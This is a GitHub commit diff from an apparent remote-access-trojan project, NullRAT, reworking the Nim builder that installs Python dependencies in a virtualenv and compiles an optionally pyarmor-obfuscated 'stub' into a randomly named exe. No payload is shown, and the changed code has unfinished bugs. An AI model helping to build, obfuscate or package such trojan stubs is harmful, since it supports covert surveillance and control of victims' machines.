Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 86b6430

Browse files
committed
Compiler: Rework virtualenv integration
FIXME! - UPX IS BROKEN CUZ OF PATH STUFF
1 parent 598718b commit 86b6430

3 files changed

Lines changed: 67 additions & 86 deletions

File tree

Compiler/compiler.nim

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,15 @@ import std/random
55
import std/envvars
66
import std/[strutils, strformat]
77

8-
from utils import cleanWorkingDir, printName
8+
from utils import cleanWorkingDir, printName, runInVenv
99

1010
proc compiler*(): int =
1111
printName()
1212
var appDirectory = getAppDir()
1313
setCurrentDir(appDirectory / "NullRAT")
1414

15+
let venvPath = appDirectory / "NullRAT" / "NR_VENV"
1516
stdout.styledWriteLine({styleBright}, " >> Stub Compiler <<")
16-
echo getEnv("PATH") # DEBUG
1717

1818
echo ""
1919
var obfuscate: bool
@@ -153,10 +153,10 @@ proc compiler*(): int =
153153
discard execShellCmd("color C")
154154
if obfuscate:
155155
echo pyarmor_cmd
156-
discard execShellCmd(pyarmor_cmd)
156+
discard runInVenv(venvPath, pyarmor_cmd)
157157
else:
158158
echo pyinst_cmd
159-
discard execShellCmd(pyinst_cmd)
159+
discard runInVenv(venvPath, pyinst_cmd)
160160

161161
var name = $rand(6969) & ".exe"
162162
if fileExists(currentDirectory / "dist" / obFileName):

Compiler/package.nim

Lines changed: 59 additions & 81 deletions
Original file line numberDiff line numberDiff line change
@@ -6,97 +6,24 @@ import std/envvars
66
import std/streams
77
import puppy
88

9-
from utils import cleanWorkingDir, printName
10-
9+
from utils import cleanWorkingDir, printName, runInVenv
1110
from variables import variablesCreator
1211

1312
const pipModules = ["pyinstaller", "virtualenv", "disnake", "requests", "pyarmor", "mss", "psutil"]
1413

1514
proc packageInstaller*() =
1615
printName()
1716
var appDirectory = getAppDir()
18-
setCurrentDir(appDirectory)
17+
setCurrentDir(appDirectory / "NullRAT")
1918

2019
stdout.styledWriteLine({styleBright}, " >> Dependencies Installer <<")
2120
echo ""
2221

23-
# Check Python version, pyarmor no longer supports 3.11+
24-
stdout.styledWriteLine({styleBright}, "[1] Checking for Python...")
25-
var status = execProcess("python --version")
26-
for i in ["3.11", "3.12", "3.13", "3.14"]:
27-
if i in status:
28-
echo "[INFO] Python ", i, " is not supported!\n - Pyarmor only supports max python version of 3.10\n - Uninstall Python and run this program again to auto-download the correct version!"
29-
sleep(5000)
30-
quit(0)
31-
32-
const modules: string = pipModules.join(" ")
33-
34-
var status2: int = execShellCmd("python --version")
35-
var status3: int = execShellCmd("py --version")
36-
37-
if status2 == 0 or status3 == 0:
38-
stdout.styledWriteLine(fgGreen, {styleBright}, "- Python installed!")
39-
echo ""
40-
41-
# Otherwise, create a virtual env (and check if it exists)
42-
if not dirExists("NR_VENV"):
43-
discard execShellCmd("python -m venv NR_VENV")
44-
45-
let
46-
oldPath = getEnv("PATH")
47-
envPath = absolutePath("NR_VENV")
48-
scriptsPath = envPath / "Scripts"
49-
50-
if oldPath != "":
51-
putEnv("PATH", scriptsPath / oldPath)
52-
else:
53-
putEnv("PATH", scriptsPath)
54-
putEnv("VIRTUAL_ENV", envPath)
55-
56-
discard execShellCmd("pip freeze") # DEBUG
57-
58-
stdout.styledWriteLine({styleBright}, "[2] Checking if packages already installed...")
59-
var result = execCmdEx("dism")
60-
61-
try:
62-
result = execCmdEx("pip freeze")
63-
except OSError:
64-
result = execCmdEx("py -m pip freeze")
65-
66-
var allInstalled: bool = true
67-
68-
if result.exitCode != 0:
69-
echo "[FATAL] pip command failed to execute!!"
70-
sleep(2000)
71-
else:
72-
for module in pipModules:
73-
if module notin result.output:
74-
allInstalled = false
75-
76-
if allInstalled:
77-
stdout.styledWriteLine(fgGreen, {styleBright}, "[INFO] All packages installed and detected!\n\nProceeding on with variables creation...")
78-
sleep(1000)
79-
variablesCreator(0)
80-
else:
81-
echo "[INFO] Dependencies are not installed!\n"
82-
stdout.styledWriteLine({styleBright}, "[3] Installing/Updating dependencies...")
83-
84-
var result: int = 0
85-
86-
result = execShellCmd("pip install " & modules)
87-
if result != 0:
88-
result = execShellCmd("python -m pip install " & modules)
89-
if result != 0:
90-
result = execShellCmd("py -m pip install " & modules)
91-
92-
if result == 0:
93-
echo "========================"
94-
stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...")
95-
sleep(2000)
96-
variablesCreator(0)
97-
else:
98-
echo "[FATAL] Unknown pip error, returning to main menu..."
99-
sleep(3000)
22+
# Check if Python even exists
23+
if execShellCmd("python --version") == 0:
24+
let python = "python"
25+
elif execShellCmd("py --version") == 0:
26+
let python = "py"
10027
else:
10128
stdout.styledWriteLine({styleBright}, "- [FATAL] Python not installed!\n\nWould you like to download the recommended python installer? (Y/n): ")
10229
var input: char = getch()
@@ -121,4 +48,55 @@ proc packageInstaller*() =
12148
echo ""
12249
stdout.styledWriteLine({styleBright}, "Returning to menu after installer is closed...")
12350
discard execCmdEx("python-setup.exe")
124-
return
51+
return
52+
53+
stdout.styledWriteLine(fgGreen, {styleBright}, "- Python installed!")
54+
echo ""
55+
56+
# Check Python version, pyarmor no longer supports 3.11+
57+
stdout.styledWriteLine({styleBright}, "[1] Checking for Python...")
58+
var status = execProcess(python & " --version")
59+
for i in ["3.11", "3.12", "3.13", "3.14"]:
60+
if i in status:
61+
echo "[INFO] Python ", i, " is not supported!\n - Pyarmor only supports max python version of 3.10\n - Uninstall Python and run this program again to auto-download the correct version!"
62+
sleep(5000)
63+
quit(0)
64+
65+
const modules: string = pipModules.join(" ")
66+
67+
# Create a virtual env (and check if it exists)
68+
if not dirExists("NR_VENV"):
69+
discard execShellCmd(python & " -m pip install virtualenv")
70+
discard execShellCmd(python & " -m venv NR_VENV")
71+
72+
let venvPath: string = appDirectory / "NullRAT" / "NR_VENV"
73+
var allInstalled: bool = true
74+
75+
stdout.styledWriteLine({styleBright}, "[2] Checking if packages already installed...")
76+
77+
if runInVenv(venvPath, "pip freeze") != 0:
78+
echo "[FATAL] pip command failed to execute!!"
79+
sleep(2000)
80+
else:
81+
for module in pipModules:
82+
if module notin result.output:
83+
allInstalled = false
84+
85+
if allInstalled:
86+
stdout.styledWriteLine(fgGreen, {styleBright}, "[INFO] All packages installed and detected!\n\nProceeding on with variables creation...")
87+
sleep(1000)
88+
variablesCreator(0)
89+
else:
90+
echo "[INFO] Dependencies are not installed!\n"
91+
stdout.styledWriteLine({styleBright}, "[3] Installing/Updating dependencies...")
92+
93+
var result: int = runInVenv(venvPath, "pip install " & modules)
94+
95+
if result == 0:
96+
echo "========================"
97+
stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...")
98+
sleep(2000)
99+
variablesCreator(0)
100+
else:
101+
echo "[FATAL] Unknown pip error, returning to main menu..."
102+
sleep(3000)

Compiler/utils.nim

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,4 +50,7 @@ proc cleanWorkingDir*() =
5050
removeFile(".gitignore")
5151

5252
removeDir("build")
53-
removeDir("dist")
53+
removeDir("dist")
54+
55+
proc runInVenv*(venvPath: string, command: string): int =
56+
return execShellCmd(fmt"cmd /c \"{venvPath}\\Scripts\\activate && {command}\"")

0 commit comments

Comments
 (0)